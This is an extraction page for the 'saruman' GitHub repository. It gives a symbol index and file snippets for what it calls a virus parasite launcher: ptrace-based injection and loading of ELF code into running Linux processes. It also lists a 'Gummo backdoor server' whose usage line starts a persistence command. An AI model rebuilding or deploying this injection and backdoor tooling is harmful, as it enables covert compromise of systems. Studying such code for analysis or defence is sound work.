function toggle_ptrace_state (line 424) | void toggle_ptrace_state(handle_t *h, int state)
function backup_regs_struct (line 440) | int backup_regs_struct(handle_t *h)
function restore_regs_struct (line 450) | int restore_regs_struct(handle_t *h)
function pid_attach_direct (line 459) | int pid_attach_direct(pid_t pid)
function pid_detach_direct (line 493) | int pid_detach_direct(pid_t pid)
function pid_detach (line 505) | int pid_detach(handle_t *h)
function pid_detach_stateful (line 519) | int pid_detach_stateful(handle_t *h)
function pid_attach (line 529) | int pid_attach(handle_t *h)
function pid_attach_stateful (line 564) | int pid_attach_stateful(handle_t *h)
function pid_read (line 574) | int pid_read(int pid, void *dst, const void *src, size_t len)
function pid_write (line 596) | int pid_write(int pid, void *dest, const void *src, size_t len)
function call_fn (line 646) | int call_fn(functionPayloads_t func, handle_t *h, uint64_t ip)
function pt_memset (line 759) | int pt_memset(handle_t *h, void *target, size_t len)
function pt_mprotect (line 779) | int pt_mprotect(handle_t *h, void *addr, size_t len, int prot)
function pt_create_thread (line 796) | int pt_create_thread(handle_t *h, void (*fn)(void *), void *data, uint64...
function dlopen_launch_parasite (line 814) | static int dlopen_launch_parasite(handle_t *h)
function launch_parasite (line 845) | static int launch_parasite(handle_t *h)
function launch_parasite_no_thread (line 881) | static int launch_parasite_no_thread(handle_t *h)
function run_exec_loader_dlopen (line 904) | int run_exec_loader_dlopen(handle_t *h)
function run_exec_loader (line 944) | int run_exec_loader(handle_t *h)
function run_bootstrap (line 996) | int run_bootstrap(handle_t *h)
function Elf64_Addr (line 1084) | Elf64_Addr randomize_base(void)
function map_elf_binary (line 1106) | int map_elf_binary(handle_t *h, const char *path)
function prepare_fn_payloads (line 1211) | void prepare_fn_payloads(payloads_t *payloads, handle_t *h)
function get_libc_addr (line 1294) | unsigned long get_libc_addr(int pid)
function Elf64_Addr (line 1334) | Elf64_Addr get_sym_from_libc(handle_t *h, const char *name)
function fixup_got (line 1373) | int fixup_got(handle_t *h)
function Elf64_Addr (line 1424) | Elf64_Addr resolve_symbol(char *name, uint8_t *target)
type linking_info (line 1456) | struct linking_info
type linking_info (line 1467) | struct linking_info
type linking_info (line 1490) | struct linking_info
type linking_info (line 1490) | struct linking_info
function apply_relocs (line 1547) | int apply_relocs(handle_t *h)
function apply_elf_relocations (line 1642) | int apply_elf_relocations(handle_t *h)
function get_parasite_entry (line 1676) | static uint64_t get_parasite_entry(handle_t *h)
function write_to_disk (line 1710) | static int write_to_disk(handle_t *h)
function exec_cmd (line 1730) | void exec_cmd (char *str, ...)
function main (line 1741) | int main(int argc, char **argv)
FILE: saruman.h
type pid_t (line 54) | typedef pid_t tid_t;
type pt_reg_t (line 55) | typedef unsigned long long pt_reg_t;
type functionPayloads_t (line 57) | typedef enum {
type ptype_t (line 68) | typedef enum {
type payloads_t (line 73) | typedef struct payloads {
type task_t (line 86) | typedef struct task {
type remote_t (line 94) | typedef struct remote {
type linking_info (line 101) | struct linking_info
type reloc_info (line 114) | struct reloc_info {
type proc_stack_t (line 119) | typedef struct stack {
type handle_t (line 126) | typedef struct handle {
type globals (line 171) | struct globals {
FILE: server.c
function main (line 33) | void
function command (line 102) | void
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (68K chars).
[
{
"path": "Makefile",
"chars": 167,
"preview": "all: launcher \nlauncher: launcher.o \n\tgcc -g launcher.o -o launcher\nlauncher.o: launcher.c\n\tgcc -DDEBUG -g -c launcher.c"
},
{
"path": "README.md",
"chars": 769,
"preview": "Saruman v0.1 (Ryan O'Neill) elfmaster@zoho.com\n\nType make to compile launcher (It will also try to compile a parasite.c "
},
{
"path": "host.c",
"chars": 219,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(void)\n{\n\tint i, j = 0;\n\n\tfor(;;) {\n\t\tprintf(\"I am a"
},
{
"path": "launcher.c",
"chars": 53849,
"preview": "/* * This source code serves as the parasite launcher for\n * the Saruman Virus. \n * <elfmaster@zoho.com>\n */\n\n#include \""
},
{
"path": "saruman.h",
"chars": 3512,
"preview": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <elf.h>\n#"
},
{
"path": "server.c",
"chars": 3930,
"preview": " /*\n /* Gummo backdoor server.\n /* compile: cc server.c -o server\n /* usage: ./server &\n /* echo /tmp/server & >> /"
}
]
About this extraction
This page contains the full source code of the elfmaster/saruman GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (61.0 KB), approximately 18.5k tokens, and a symbol index with 72 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.